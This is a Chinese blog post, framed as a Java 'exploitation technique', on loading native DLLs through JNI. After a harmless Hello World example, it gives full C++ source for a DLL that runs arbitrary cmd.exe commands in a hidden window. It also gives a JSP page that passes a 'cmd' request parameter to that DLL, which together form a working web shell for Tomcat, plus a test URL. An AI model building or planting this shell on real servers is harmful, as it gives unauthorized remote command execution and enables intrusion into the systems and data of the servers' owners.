Java 利用技巧——通过 JNI 加载 dll

发布于 2024-08-31 18:36:39 字数 7701 浏览 23 评论 0

0x00 前言

Java 可以通过 JNI 接口访问本地的动态连接库,从而扩展 Java 的功能。本文将以 Tomcat 环境为例,介绍通过 jsp 加载 dll 的方法,开源代码,记录细节。

0x01 简介

本文将要介绍以下内容:

  • 基础知识
  • Java 通过 JNI 加载 dll 的方法
  • jsp 通过 JNI 加载 dll 的方法

0x02 基础知识

JNI,全称 Java Native Interface,是 Java 语言的本地编程接口。可以用来调用 dll 文件

调用 JNI 接口的步骤:

  1. 编写 Java 代码,注明要访问的本地动态连接库和本地方法
  2. 编译 Java 代码得到.class 文件
  3. 使用 javah 生成该类对应的.h 文件
  4. 使用 C++实现函数功能,编译生成 dll
  5. 通过 Java 调用 dll

0x03 Java 通过 JNI 加载 dll 的方法

本节将要实现通过 Java 加载 dll,在命令行输出 "Hello World"

1.编写 Java 代码,注明要访问的本地动态连接库和本地方法

HelloWorld.java:

public class HelloWorld {
    private native void print();
    static
    {
        System.loadLibrary("Hello");
    }
    public static void main(String[] args) {
        new HelloWorld().print();
    }
}

注:

也可以使用 System.load 指定加载 dll 的绝对路径,代码示例: System.load("c:\\test\\Hello.dll");

上述代码注明了要访问本地的 Hello.dll,调用本地方法 print()

2.编译 Java 代码得到.class 文件

cmd 命令:

javac HelloWorld.java

命令执行后,生成文件 HelloWorld.class

3.使用 javah 生成该类对应的.h 文件

cmd 命令:

javah -jni HelloWorld

命令执行后,生成文件 HelloWorld.h

为了简化后续 C++工程的配置,这里需要修改 HelloWorld.h,将 #include <jni.h> 修改为 #include "jni.h" ,修改后的内容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class HelloWorld */

#ifndef _Included_HelloWorld
#define _Included_HelloWorld
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     HelloWorld
 * Method:    print
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_HelloWorld_print
  (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif

4.使用 C++实现函数功能,编译生成 dll

使用 Visual Studio,新建一个 C++项目 Hello,选中 win2 控制台应用程序, 应用程序类型为 DLL,附加选项:导出符号

修改 dllmain.cpp 或者 Hello.cpp 均可,具体代码如下:

#include"jni.h"
#include<stdio.h>
#include"HelloWorld.h"
JNIEXPORT void JNICALL 
Java_HelloWorld_print(JNIEnv *env, jobject obj)
{
    printf("Hello World!\n");
    return;
}

项目需要引用以下三个文件:

  • jni.h,位置为 %jdk%\include\jni.h
  • jni_md.h,位置为 %jdk%\include\win32\jni_md.h
  • HelloWorld.h,使用 javah 生成

编译生成 dll

注:

测试环境为 64 位系统,所以选择生成 64 位的 Hello.dll

5.通过 Java 调用 dll

将 Hello.dll 和 HelloWorld.class 保存在同级目录,执行命令:

java HelloWorld

获得返回结果:

Hello World!

加载成功

0x04 jsp 通过 JNI 加载 dll 的方法

本节将要实现在 Tomcat 环境下,通过访问 jsp 文件,执行 cmd 命令并获得命令执行结果

1.编写 Java 代码,注明要访问的本地动态连接库和本地方法

testtomcat_jsp.java:

package org.apache.jsp;
public class testtomcat_jsp
{
  class JniClass
  {
       public native String exec( String string );
  }
}

Tomcat 环境下,需要以下限制条件:

  • 固定包名格式为 org.apache.jsp
  • java 文件名称需要固定格式: ***_jsp ,并且后面的 jsp 文件名称需要同其保持一致。例如 testtomcat_jsp.java ,那么最终 jsp 的文件名称需要命名为 testtomcat.jsp
  • 类名不需要限定为 JniClass,可以任意

2.编译 Java 代码得到.class 文件

cmd 命令:

javac testtomcat_jsp.java

命令执行后,生成文件 testtomcat_jsp.classtesttomcat_jsp$JniClass.class

3.使用 javah 生成该类对应的.h 文件

testtomcat_jsp$JniClass.class 保存在 \org\apache\jsp\

cmd 命令:

javah -jni org.apache.jsp.testtomcat_jsp$JniClass

命令执行后,生成文件 org_apache_jsp_testtomcat_jsp_JniClass.h

为了简化后续 C++工程的配置,这里需要修改 org_apache_jsp_testtomcat_jsp_JniClass.h ,将 #include <jni.h> 修改为 #include "jni.h" ,修改后的内容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class org_apache_jsp_testtomcat_jsp_JniClass */

#ifndef _Included_org_apache_jsp_testtomcat_jsp_JniClass
#define _Included_org_apache_jsp_testtomcat_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     org_apache_jsp_testtomcat_jsp_JniClass
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

4.使用 C++实现函数功能,编译生成 dll

使用 Visual Studio,新建一个 C++项目 TestTomcat,选中 win2 控制台应用程序, 应用程序类型为 DLL,附加选项:导出符号

修改 dllmain.cpp 或者 TestTomcat.cpp 均可,具体代码如下:

#include "jni.h"
#include "org_apache_jsp_testtomcat_jsp_JniClass.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib, "User32.lib")

char *ExeCmd(WCHAR *pszCmd)
{
    SECURITY_ATTRIBUTES sa;
    HANDLE hRead, hWrite;

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        return ("[!] CreatePipe failed.");
    }

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

    WCHAR command[MAX_PATH];
    wsprintf(command, L"cmd.exe /c %ws", pszCmd);

    if (!CreateProcess(NULL, command, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
        return ("[!] CreateProcess failed.");

    CloseHandle(hWrite);

    char buffer[4096] = { 0 };

    DWORD bytesRead;
    char strText[32768] = { 0 };

    while (true)
    {
        if (ReadFile(hRead, buffer, 4096 - 1, &bytesRead, NULL) == NULL)
            break;
        sprintf_s(strText, "%s\r\n%s", strText, buffer);
        memset(buffer, 0, sizeof(buffer));

    }
    return strText;
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
    WCHAR *command = (WCHAR*)env->GetStringChars(jstr, 0);
    char *data = ExeCmd(command);
    jstring cmdresult = (env)->NewStringUTF(data);
    return cmdresult;
}

注:代码 JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr) 需要和头文件中的声明保持一致

项目需要引用以下三个文件:

  • jni.h,位置为 %jdk%\include\jni.h
  • jni_md.h,位置为 %jdk%\include\win32\jni_md.h
  • org_apache_jsp_testtomcat_jsp_JniClass.h,使用 javah 生成

编译生成 dll

注:测试环境为 64 位系统,所以选择生成 64 位的 TestTomcat.dll

5.通过 jsp 调用 dll

向 Tomcat 上传 TestTomcat.dll,在 Web 目录创建 testtomcat.jsp,内容如下:

<%!
    class JniClass {
           public native String exec(String string);
           public JniClass() {
             System.load("c:\\test\\TestTomcat.dll");
          }
    }
%>
<%
     String cmd  = request.getParameter("cmd");
      if (cmd != null) {
         JniClass a = new JniClass();
         String res = a.exec(cmd);
         out.println(res);
     }
    else{
        response.sendError(404);
    }
%>

注:

jsp 文件名称需要同之前的 java 文件保持一致

访问 URL: http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami

获得命令执行结果,加载成功

0x05 小结

本文以 Tomcat 环境为例,介绍通过 jsp 加载 dll 的方法,开源代码,记录细节,能够扩展 jsp 的功能。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

尝蛊

暂无简介

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文